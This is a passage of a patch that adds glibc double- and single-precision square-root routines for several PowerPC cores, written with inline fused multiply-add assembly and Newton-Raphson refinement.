- create mode 100644 sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
